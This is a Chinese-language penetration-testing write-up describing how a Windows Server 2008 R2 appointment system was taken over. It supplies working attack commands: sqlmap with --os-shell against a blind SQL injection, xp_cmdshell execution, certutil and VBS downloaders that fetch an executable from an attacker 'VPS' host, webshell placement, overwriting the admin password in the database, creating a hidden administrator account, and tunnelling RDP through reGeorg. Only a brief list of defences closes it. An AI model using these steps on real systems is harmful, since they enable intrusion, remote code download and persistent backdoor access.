记一次简单的Win Server渗透
字数 1137 2025-08-26 22:11:45
Windows Server 渗透测试实战教学文档
0x00 目标环境分析
- 操作系统: Windows Server 2008 R2
- Web服务器: IIS 7.5
- 应用框架: ASP.NET 2.0.50727
- 开放端口:
- 1433 (SQL Server)
- 135, 445, 3389 (被防火墙过滤)
0x01 初始信息收集
-
端口扫描结果分析:
- 1433端口开放(MSSQL服务)
- 3389(RDP)、135、445端口被防火墙过滤
- 初步判断无法直接通过RDP或SMB协议进行攻击
-
Web应用分析:
- 系统为预约系统
- 前端验证存在但可绕过
- 后台使用统一查询方式(参数化或ORM)
0x02 SQL注入漏洞利用
漏洞发现
- SELECT语句参数点都做了防护
- UPDATE/INSERT语句存在漏洞(邮箱修改处)
- 漏洞类型: Time-based盲注
绕过前端验证
- 简单修改请求或禁用JS即可绕过邮箱格式验证
利用工具
sqlmap -u "目标URL" --data="参数" --level=3 --risk=3 --technique=T --dbms=mssql --os-shell
权限确认
- 确认当前SQL用户为sa(DBA权限)
- 系统权限为SYSTEM(最高权限)
0x03 命令执行与回显问题
xp_cmdshell使用
EXEC master..xp_cmdshell '命令'
回显问题解决
- 时间盲注回显慢(5-10分钟/命令)
- 解决方案:
- 获取WebShell
- 通过1433端口直接连接
文件下载尝试
- certutil方法:
certutil -urlcache -split "http://VPS/1.exe"
- VBS方法:
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs
cscript d.vbs http://VPS/1.exe C:\\Windows\\temp\\1.exe
- 结果分析:
- 文本文件可下载
- 可执行文件被拦截(杀软动态行为检测)
0x04 Web目录定位与WebShell上传
盘符确认
wmic logicaldisk where DriveType=3 get DeviceID
特征文件搜索
for /r C:\ %i in (特征文件名*) do @echo %i
WebShell写入
- 确认可写目录
- 写入ASP/ASPX WebShell
0x05 权限提升与横向移动
管理员密码破解
- 发现80字节加密字符串
- 无法直接解密
- 解决方案: 将普通用户加密密码插入admin表
RDP连接准备
- 添加用户:
net user iv4n$ xxxxxxx /add
net localgroup administrators iv4n$ /add
- 防火墙绕过:
- 使用socks代理转发
- 工具: reGeorge
连接方法
proxychains rdesktop 目标IP
0x06 防御措施建议
-
SQL注入防护:
- 所有SQL查询使用参数化
- 避免动态拼接SQL
-
权限控制:
- 避免使用sa账户运行应用
- 最小权限原则
-
文件上传防护:
- 严格限制上传文件类型
- 杀软部署
-
系统加固:
- 关闭不必要服务
- 防火墙规则优化
- 定期更新补丁
0x07 工具清单
- 扫描工具: Nmap
- SQL注入: SQLMap
- WebShell管理: AntSword
- 代理工具: reGeorge
- RDP连接: rdesktop + proxychains
0x08 攻击流程图
端口扫描 → 发现1433 → SQL注入 → xp_cmdshell → SYSTEM权限
↓
Web目录定位 → WebShell上传 → 配置文件获取
↓
管理员密码篡改 → 后台登录
↓
添加用户 → RDP连接(通过代理)
0x09 总结
本案例展示了从SQL注入到完全控制Windows服务器的完整过程,重点在于:
- 发现非常规注入点(UPDATE/INSERT)
- 权限维持与回显问题的解决
- 内网穿透技术的应用
- 权限提升的多种方法